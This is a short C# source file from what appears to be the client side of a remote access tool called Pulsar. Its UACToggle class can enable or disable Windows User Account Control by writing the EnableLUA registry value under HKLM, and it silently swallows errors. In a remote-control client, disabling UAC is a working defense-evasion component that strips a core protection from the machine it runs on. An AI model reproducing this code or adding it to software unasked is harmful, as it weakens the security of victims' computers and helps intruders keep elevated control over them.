Files
PulsarK-main/Pulsar.Client/Helper/UAC/UACToggle.cs
T

47 lines
1.4 KiB
C#
Raw Normal View History

2026-08-27 10:57:58 -06:00
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Pulsar.Client.Helper.UAC
{
public class UACToggle
{
public static void EnableUAC()
{
try
{
Microsoft.Win32.RegistryKey uacKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true);
if (uacKey != null)
{
uacKey.SetValue("EnableLUA", 1, Microsoft.Win32.RegistryValueKind.DWord);
uacKey.Close();
}
}
catch (Exception ex)
{
Debug.WriteLine("Error enabling UAC: " + ex.Message);
}
}
public static void DisableUAC()
{
try
{
Microsoft.Win32.RegistryKey uacKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true);
if (uacKey != null)
{
uacKey.SetValue("EnableLUA", 0, Microsoft.Win32.RegistryValueKind.DWord);
uacKey.Close();
}
}
catch (Exception ex)
{
Debug.WriteLine("Error disabling UAC: " + ex.Message);
}
}
}
}